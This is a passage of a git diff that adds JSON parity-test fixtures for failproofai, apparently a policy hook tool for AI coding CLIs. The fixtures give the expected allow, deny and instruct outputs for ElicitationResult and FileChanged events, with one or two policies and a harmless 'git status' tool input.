&a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/ElicitationResult/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/ElicitationResult/deny__tool-present__one-policy.json new file mode 100644 index 00000000..1092e038 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ElicitationResult/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/ElicitationResult/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/ElicitationResult/deny__tool-present__two-policies.json new file mode 100644 index 00000000..0a62be6b --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ElicitationResult/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/ElicitationResult/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/ElicitationResult/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..8269ceda --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ElicitationResult/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/ElicitationResult/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/ElicitationResult/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..0c7abf16 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ElicitationResult/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/ElicitationResult/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/ElicitationResult/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..386492c7 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ElicitationResult/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/ElicitationResult/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/ElicitationResult/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..27bdd6ab --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ElicitationResult/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/FileChanged/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/FileChanged/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..4f360f6f --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/FileChanged/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/FileChanged/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/FileChanged/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..dbb6ad45 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/FileChanged/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/FileChanged/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/FileChanged/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..0f01d795 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/FileChanged/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/FileChanged/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/FileChanged/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..91cf2433 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/FileChanged/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/FileChanged/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/FileChanged/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..331becd4 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/FileChanged/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/FileChanged/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/FileChanged/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..ff9620df --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/FileChanged/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/FileChanged/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/FileChanged/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..1dcb72d7 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/FileChanged/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/FileChanged/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/FileChanged/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..7d3c63c2 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/FileChanged/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/FileChanged/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/FileChanged/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..4d5d6d9e --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/FileChanged/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/FileChanged/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/FileChanged/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..dd70913e --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/FileChanged/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/FileChanged/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/FileChanged/deny__tool-present__one-policy.json new file mode 100644 index 00000000..811e9525 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/FileChanged/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/FileChanged/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/FileChanged/deny__tool-present__two-policies.json new file mode 100644 index 00000000..ec32e968 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/FileChanged/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/FileChanged/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/FileChanged/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..31040f22 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/FileChanged/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + 